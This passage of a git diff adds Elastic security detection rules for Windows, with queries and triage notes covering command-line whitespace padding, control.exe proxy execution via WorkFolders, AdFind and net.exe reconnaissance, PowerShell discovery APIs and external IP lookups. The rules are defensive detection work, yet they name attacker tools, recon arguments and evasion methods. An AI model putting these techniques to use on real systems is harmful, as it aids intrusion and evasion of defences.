was fixed in 7.16 (elastic/elasticsearch/issues/78391)" +min_stack_version = "7.16.0" + +[rule] +author = ["Elastic"] +description = """ +Identifies process execution events where the command line value contains a long sequence of whitespace characters or +multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding +their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious +behavior. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Whitespace Padding in Process Command Line" +note = """## Triage and analysis + +- Analyze the command line of the process in question for evidence of malicious code execution. +- Review the ancestor and child processes spawned by the process in question for indicators of further malicious code execution.""" +references = ["https://twitter.com/JohnLaTwC/status/1419251082736201737"] +risk_score = 47 +rule_id = "e0dacebe-4311-4d50-9387-b17e89c2e7fd" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.command_line regex ".*[ ]{20,}.*" or + + /* this will match on 3 or more separate occurrences of 5+ contiguous whitespace characters */ + process.command_line regex ".*(.*[ ]{5,}[^ ]*){3,}.*" +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_workfolders_control_execution.toml b/rules/windows/defense_evasion_workfolders_control_execution.toml new file mode 100644 index 000000000..09996b0c2 --- /dev/null +++ b/rules/windows/defense_evasion_workfolders_control_execution.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2022/03/02" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the use of Windows Work Folders to execute a potentially masqueraded control.exe file in the current working +directory. Misuse of Windows Work Folders could indicate malicious activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Signed Proxy Execution via MS WorkFolders" +note = """## Triage and analysis + +### Investigating control.exe Execution via Work Folders in Current Working Directory + +Work Folders is a role service for file servers running Windows Server that provides a consistent way for users to access their work files from their PCs and devices. This allows for users to store work files and access them from anywhere. When called, Work Folders will automatically execute any Portable Executable (PE) named `control.exe` as an argument before accessing the synced share. + +Using Work Folders to execute a masqueraded control.exe could allow an adversary to bypass application controls and increase privileges. + +#### Possible investigation steps: +- Investigate the process tree starting with parent process WorkFolders.exe and child process control.exe to determine if other child processes spawned during execution. +- Trace the activity related to the `control.exe` binary to determine continued intrusion activity on the host. +- Examine the location of the WorkFolders.exe binary to determine if it was copied to the location of the control.exe binary as it resides in the System32 directory by default. +- Review the control.exe binary executed with Work Folders to determine maliciousness such as additional host activity or network traffic generated +- Determine if control.exe was synced to sync share, indicating potential lateral movement. +- Review where control.exe originated from on the host in terms of delivery such as email, web download or written to disk from a seperate binary. + +### False Positive Analysis +- Windows Work Folders are used legitimately by end users and administrators for file sharing and syncing but not in the instance where a suspicious `control.exe` is passed as an argument. + +### Response and Remediation +- If identified as a compromise, engage incident response processes and policies. +- Take immediate action to review, investigate and potentially isolate activity to prevent further post-compromise +behavior. +- Review the Work Folders synced share to determine if the 'control.exe' was shared and if so remove it. +- If no lateral movement was identified during investigation, take the effected host offline if possible and remove the control.exe binary as well as any additional artifacts identified during investigation. +- Review integrating Windows Information Protection (WIP) to enforce data protection by encrypting the data on PCs using Work Folders. +- Confirm with user whether this was expected or not and reset their password. +""" +references = [ + "https://docs.microsoft.com/en-us/windows-server/storage/work-folders/work-folders-overview", + "https://twitter.com/ElliotKillick/status/1449812843772227588", + "https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/", +] +risk_score = 47 +rule_id = "ad0d2742-9a49-11ec-8d6b-acde48001122" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start","process_started") + and process.name : "control.exe" and process.parent.name : "WorkFolders.exe" + and not process.executable : ("?:\\Windows\\System32\\control.exe", "?:\\Windows\\SysWOW64\\control.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/discovery_adfind_command_activity.toml b/rules/windows/discovery_adfind_command_activity.toml new file mode 100644 index 000000000..f8046ab1a --- /dev/null +++ b/rules/windows/discovery_adfind_command_activity.toml @@ -0,0 +1,120 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +This rule detects the Active Directory query tool, AdFind.exe. AdFind has legitimate purposes, but it is frequently +leveraged by threat actors to perform post-exploitation Active Directory reconnaissance. The AdFind tool has been +observed in Trickbot, Ryuk, Maze, and FIN6 campaigns. For Winlogbeat, this rule requires Sysmon. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "AdFind Command Activity" +note = """## Triage and analysis + +### Investigating AdFind Command Activity + +[AdFind](http://www.joeware.net/freetools/tools/adfind/) is a freely available command-line tool used to retrieve information from +Active Directory (AD). Network discovery and enumeration tools like `AdFind` are useful to adversaries in the same ways +they are effective for network administrators. This tool provides quick ability to scope AD person/computer objects and +understand subnets and domain information. There are many [examples](https://thedfirreport.com/category/adfind/) +observed where this tool has been adopted by ransomware and criminal groups and used in compromises. + +#### Possible investigation steps: +- `AdFind` is a legitimate Active Directory enumeration tool used by network administrators, it's important to understand +the source of the activity. This could involve identifying the account using `AdFind` and determining based on the command-lines +what information was retrieved, then further determining if these actions are in scope of that user's traditional responsibilities. +- In multiple public references, `AdFind` is leveraged after initial access is achieved. Review previous activity on impacted +machines for suspicious indicators such as previous anti-virus/EDR alerts, phishing emails received, or network traffic +to suspicious infrastructure. + +### False Positive Analysis +- This rule has a high chance to produce false positives as it is a legitimate tool used by network administrators. One +option could be allowlisting specific users or groups who use the tool as part of their daily responsibilities. This can +be done by leveraging the exception workflow in the Kibana Security App or Elasticsearch API to tune this rule to your environment. +- Malicious behavior with `AdFind` should be investigated as part of a step within an attack chain. It doesn't happen in +isolation, so reviewing previous logs/activity from impacted machines can be very telling. + +### Related Rules +- Windows Network Enumeration +- Enumeration of Administrator Accounts +- Enumeration Command Spawned via WMIPrvSE + +### Response and Remediation +- Take immediate action to validate activity, investigate and potentially isolate activity to prevent further +post-compromise behavior. +- It's important to understand that `AdFind` is an Active Directory enumeration tool and can be used for malicious or legitimate +purposes, so understanding the intent behind the activity will help determine the appropropriate response. +""" +references = [ + "http://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", + "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", +] +risk_score = 21 +rule_id = "eda499b8-a073-4e35-9733-22ec71f57f3a" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "AdFind.exe" or process.pe.original_file_name == "AdFind.exe") and + process.args : ("objectcategory=computer", "(objectcategory=computer)", + "objectcategory=person", "(objectcategory=person)", + "objectcategory=subnet", "(objectcategory=subnet)", + "objectcategory=group", "(objectcategory=group)", + "objectcategory=organizationalunit", "(objectcategory=organizationalunit)", + "objectcategory=attributeschema", "(objectcategory=attributeschema)", + "domainlist", "dcmodes", "adinfo", "dclist", "computers_pwnotreqd", "trustdmp") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1069" +name = "Permission Groups Discovery" +reference = "https://attack.mitre.org/techniques/T1069/" +[[rule.threat.technique.subtechnique]] +id = "T1069.002" +name = "Domain Groups" +reference = "https://attack.mitre.org/techniques/T1069/002/" + + +[[rule.threat.technique]] +id = "T1087" +name = "Account Discovery" +reference = "https://attack.mitre.org/techniques/T1087/" +[[rule.threat.technique.subtechnique]] +id = "T1087.002" +name = "Domain Account" +reference = "https://attack.mitre.org/techniques/T1087/002/" + + +[[rule.threat.technique]] +id = "T1482" +name = "Domain Trust Discovery" +reference = "https://attack.mitre.org/techniques/T1482/" + + +[[rule.threat.technique]] +id = "T1018" +name = "Remote System Discovery" +reference = "https://attack.mitre.org/techniques/T1018/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_admin_recon.toml b/rules/windows/discovery_admin_recon.toml new file mode 100644 index 000000000..e7681176a --- /dev/null +++ b/rules/windows/discovery_admin_recon.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies instances of lower privilege accounts enumerating Administrator accounts or groups using built-in Windows +tools. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Enumeration of Administrator Accounts" +risk_score = 21 +rule_id = "871ea072-1b71-4def-b016-6278b505138d" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (((process.name : "net.exe" or process.pe.original_file_name == "net.exe") or + ((process.name : "net1.exe" or process.pe.original_file_name == "net1.exe") and + not process.parent.name : "net.exe")) and + process.args : ("group", "user", "localgroup") and + process.args : ("admin", "Domain Admins", "Remote Desktop Users", "Enterprise Admins", "Organization Management") and + not process.args : "/add") + + or + + ((process.name : "wmic.exe" or process.pe.original_file_name == "wmic.exe") and + process.args : ("group", "useraccount")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1069" +name = "Permission Groups Discovery" +reference = "https://attack.mitre.org/techniques/T1069/" + + [[rule.threat.technique.subtechnique]] + id = "T1069.002" + name = "Domain Groups" + reference = "https://attack.mitre.org/techniques/T1069/002/" + +[[rule.threat.technique]] +id = "T1087" +name = "Account Discovery" +reference = "https://attack.mitre.org/techniques/T1087/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_file_dir_discovery.toml b/rules/windows/discovery_file_dir_discovery.toml new file mode 100644 index 000000000..632c5f128 --- /dev/null +++ b/rules/windows/discovery_file_dir_discovery.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Enumeration of files and directories using built-in tools. Adversaries may use the information discovered to plan +follow-on activity. +""" +false_positives = [ + """ + Enumeration of files and directories may not be inherently malicious and noise may come from scripts, automation + tools, or normal command line usage. It's important to baseline your environment to determine the amount of expected + noise and exclude any known FP's from the rule. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "File and Directory Discovery" +risk_score = 21 +rule_id = "7b08314d-47a0-4b71-ae4e-16544176924f" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by agent.id, user.name with maxspan=1m +[process where event.type in ("start", "process_started") and + ((process.name : "cmd.exe" or process.pe.original_file_name == "Cmd.Exe") and process.args : "dir") or + process.name : "tree.com"] +[process where event.type in ("start", "process_started") and + ((process.name : "cmd.exe" or process.pe.original_file_name == "Cmd.Exe") and process.args : "dir") or + process.name : "tree.com"] +[process where event.type in ("start", "process_started") and + ((process.name : "cmd.exe" or process.pe.original_file_name == "Cmd.Exe") and process.args : "dir") or + process.name : "tree.com"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1083" +name = "File and Directory Discovery" +reference = "https://attack.mitre.org/techniques/T1083/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_net_command_system_account.toml b/rules/windows/discovery_net_command_system_account.toml new file mode 100644 index 000000000..f47aef68c --- /dev/null +++ b/rules/windows/discovery_net_command_system_account.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/03/18" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies when the SYSTEM account uses an account discovery utility. This could be a sign of discovery activity after +an adversary has achieved privilege escalation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Net command via SYSTEM account" +risk_score = 21 +rule_id = "2856446a-34e6-435b-9fb5-f8f040bfa7ed" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.Ext.token.integrity_level_name : "System" or + winlog.event_data.IntegrityLevel : "System") and + process.name : "whoami.exe" or + (process.name : "net1.exe" and not process.parent.name : "net.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1033" +reference = "https://attack.mitre.org/techniques/T1033/" +name = "System Owner/User Discovery" + + +[rule.threat.tactic] +id = "TA0007" +reference = "https://attack.mitre.org/tactics/TA0007/" +name = "Discovery" diff --git a/rules/windows/discovery_net_view.toml b/rules/windows/discovery_net_view.toml new file mode 100644 index 000000000..bec247319 --- /dev/null +++ b/rules/windows/discovery_net_view.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool." +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Network Enumeration" +risk_score = 47 +rule_id = "7b8bfc26-81d2-435e-965c-d722ee397ef1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ((process.name : "net.exe" or process.pe.original_file_name == "net.exe") or + ((process.name : "net1.exe" or process.pe.original_file_name == "net1.exe") and + not process.parent.name : "net.exe")) and + (process.args : "view" or (process.args : "time" and process.args : "\\\\*")) + + + /* expand when ancestry is available + and not descendant of [process where event.type == ("start", "process_started") and process.name : "cmd.exe" and + ((process.parent.name : "userinit.exe") or + (process.parent.name : "gpscript.exe") or + (process.parent.name : "explorer.exe" and + process.args : "C:\\*\\Start Menu\\Programs\\Startup\\*.bat*"))] + */ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1018" +name = "Remote System Discovery" +reference = "https://attack.mitre.org/techniques/T1018/" + +[[rule.threat.technique]] +id = "T1135" +name = "Network Share Discovery" +reference = "https://attack.mitre.org/techniques/T1135/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_peripheral_device.toml b/rules/windows/discovery_peripheral_device.toml new file mode 100644 index 000000000..11ef33c04 --- /dev/null +++ b/rules/windows/discovery_peripheral_device.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/11/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the Windows file system utility (fsutil.exe ) to gather information about attached peripheral devices +and components connected to a computer system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Peripheral Device Discovery" +risk_score = 21 +rule_id = "0c7ca5c2-728d-4ad9-b1c5-bbba83ecb1f4" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "fsutil.exe" or process.pe.original_file_name == "fsutil.exe") and + process.args : "fsinfo" and process.args : "drives" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1120" +name = "Peripheral Device Discovery" +reference = "https://attack.mitre.org/techniques/T1120/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_posh_suspicious_api_functions.toml b/rules/windows/discovery_posh_suspicious_api_functions.toml new file mode 100644 index 000000000..eabfc07ce --- /dev/null +++ b/rules/windows/discovery_posh_suspicious_api_functions.toml @@ -0,0 +1,141 @@ +[metadata] +creation_date = "2021/10/13" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +This rule detects the use of discovery-related Windows API functions in PowerShell Scripts. Attackers can use these +functions to perform various situational awareness related activities, like enumerating users, shares, sessions, domain +trusts, groups, etc. +""" +false_positives = ["Legitimate PowerShell scripts that make use of these functions."] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Suspicious Discovery Related Windows API Functions" +note = """## Triage and analysis. + +### Investigating PowerShell Suspicious Discovery Related Windows API Functions + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +Attackers can use PowerShell to interact with the Win32 API to bypass file based antivirus detections, using libraries +like PSReflect or Get-ProcAddress Cmdlet. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/BC-SECURITY/Empire/blob/9259e5106986847d2bb770c4289c0c0f1adf2344/data/module_source/situational_awareness/network/powerview.ps1#L21413", + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md" +] +risk_score = 47 +rule_id = "61ac3638-40a3-44b2-855a-985636ca985e" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + NetShareEnum or + NetWkstaUserEnum or + NetSessionEnum or + NetLocalGroupEnum or + NetLocalGroupGetMembers or + DsGetSiteName or + DsEnumerateDomainTrusts or + WTSEnumerateSessionsEx or + WTSQuerySessionInformation or + LsaGetLogonSessionData or + QueryServiceObjectSecurity + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1135" +name = "Network Share Discovery" +reference = "https://attack.mitre.org/techniques/T1135/" + +[[rule.threat.technique]] +id = "T1069" +name = "Permission Groups Discovery" +reference = "https://attack.mitre.org/techniques/T1069/" + + [[rule.threat.technique.subtechnique]] + id = "T1069.001" + name = "Local Groups" + reference = "https://attack.mitre.org/techniques/T1069/001/" + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + +[[rule.threat.technique]] +id = "T1106" +name = "Native API" +reference = "https://attack.mitre.org/techniques/T1106/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/discovery_post_exploitation_external_ip_lookup.toml b/rules/windows/discovery_post_exploitation_external_ip_lookup.toml new file mode 100644 index 000000000..63cc20e11 --- /dev/null +++ b/rules/windows/discovery_post_exploitation_external_ip_lookup.toml @@ -0,0 +1,90 @@ +[metadata] +creation_date = "2020/09/04" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies domains commonly used by adversaries for post-exploitation IP lookups. It is common for adversaries to +test for Internet access and acquire their external IP address after they have gained access to a system. Among others, +this has been observed in campaigns leveraging the information stealer, Trickbot. +""" +false_positives = [ + """ + If the domains listed in this rule are used as part of an authorized workflow, this rule will be triggered by those + events. Validate that this is expected activity and tune the rule to fit your environment variables. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "External IP Lookup from Non-Browser Process" +references = [ + "https://community.jisc.ac.uk/blogs/csirt/article/trickbot-analysis-and-mitigation", + "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", +] +risk_score = 21 +rule_id = "1d72d014-e2ab-4707-b056-9b96abe7b511" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +network where network.protocol == "dns" and + process.name != null and user.id not in ("S-1-5-19", "S-1-5-20") and + event.action == "lookup_requested" and + /* Add new external IP lookup services here */ + dns.question.name : + ( + "*api.ipify.org", + "*freegeoip.app", + "*checkip.amazonaws.com", + "*checkip.dyndns.org", + "*freegeoip.app", + "*icanhazip.com", + "*ifconfig.*", + "*ipecho.net", + "*ipgeoapi.com", + "*ipinfo.io", + "*ip.anysrc.net", + "*myexternalip.com", + "*myipaddress.com", + "*showipaddress.com", + "*whatismyipaddress.com", + "*wtfismyip.com", + "*ipapi.co", + "*ip-lookup.net", + "*ipstack.com" + ) and + /* Insert noisy false positives here */ + not process.executable : + ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\WWAHost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1016" +name = "System Network Configuration Discovery" +reference = "https://attack.mitre.org/techniques/T1016/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/windows/discovery_privileged_localgroup_membership.toml b/rules/windows/discovery_privileged_localgroup_membership.toml new file mode 100644 index 000000000..f90b72728 --- /dev/null +++ b/rules/windows/discovery_privileged_localgroup_membership.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2020/10/15" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies instances of an unusual process enumerating built-in Windows privileged local groups membership like +Administrators or Remote Desktop users. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Enumeration of Privileged Local Groups Membership" +note = """## Config + +This will require Windows security event 4799 by enabling audit success for the Windows Account Management category and +the Security Group Management subcategory. +""" +risk_score = 43 +rule_id = "291a0de9-937a-4189-94c0-3e847c8b13e4" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +iam where event.action == "user-member-enumerated" and + + /* noisy and usual legit processes excluded */ + not winlog.event_data.CallerProcessName: + ("?:\\Windows\\System32\\VSSVC.exe", + "?:\\Windows\\System32\\SearchIndexer.exe", + "?:\\Windows\\System32\\CompatTelRunner.exe", + "?:\\Windows\\System32\\oobe\\msoobe.exe", + "?:\\Windows\\System32\\net1.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\Netplwiz.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\CloudExperienceHostBroker.exe", + "?:\\Windows\\System32\\wbem\\WmiPrvSE.exe", + "?:\\Windows\\System32\\SrTasks.exe", + "?:\\Windows\\System32\\lsass.exe", + "?:\\Windows\\System32\\diskshadow.exe", + "?:\\Windows\\System32\\dfsrs.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe") and + /* privileged local groups */ + (group.name:("admin*","RemoteDesktopUsers") or + winlog.event_data.TargetSid:("S-1-5-32-544","S-1-5-32-555")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1069/" +id = "T1069" +name = "Permission Groups Discovery" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1069/001/" +id = "T1069.001" +name = "Local Groups" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0007/" +id = "TA0007" +name = "Discovery" + diff --git a/rules/windows/discovery_remote_system_discovery_commands_windows.toml b/rules/windows/discovery_remote_system_discovery_commands_windows.toml new file mode 100644 index 000000000..472f5eb41 --- /dev/null +++ b/rules/windows/discovery_remote_system_discovery_commands_windows.toml @@ -0,0 +1,40 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Discovery of remote system information using built-in commands, which may be used to mover laterally." +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote System Discovery Commands" +risk_score = 21 +rule_id = "0635c542-1b96-4335-9b47-126582d2c19a" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "nbtstat.exe" and process.args : ("-n", "-s")) or + (process.name : "arp.exe" and process.args : "-a") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1018" +name = "Remote System Discovery" +reference = "https://attack.mitre.org/techniques/T1018/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_security_software_wmic.toml b/rules/windows/discovery_security_software_wmic.toml new file mode 100644 index 000000000..ca589488c --- /dev/null +++ b/rules/windows/discovery_security_software_wmic.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of Windows Management Instrumentation Command (WMIC) to discover certain System Security Settings +such as AntiVirus or Host Firewall details. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Security Software Discovery using WMIC" +risk_score = 47 +rule_id = "6ea55c81-e2ba-42f2-a134-bccf857ba922" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name:"wmic.exe" or process.pe.original_file_name:"wmic.exe") and + process.args:"/namespace:\\\\root\\SecurityCenter2" and process.args:"Get" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1518" +name = "Software Discovery" +reference = "https://attack.mitre.org/techniques/T1518/" + + [[rule.threat.technique.subtechnique]] + id = "T1518.001" + name = "Security Software Discovery" + reference = "https://attack.mitre.org/techniques/T1518/001/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/windows/discovery_whoami_command_activity.toml b/rules/windows/discovery_whoami_command_activity.toml new file mode 100644 index 000000000..5cd53e75e --- /dev/null +++ b/rules/windows/discovery_whoami_command_activity.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of whoami.exe which displays user, group, and privileges information for the user who is currently logged +on to the local system. +""" +false_positives = [ + """ + Some normal use of this program, at varying levels of frequency, may originate from scripts, automation tools and + frameworks. Usage by non-engineers and ordinary 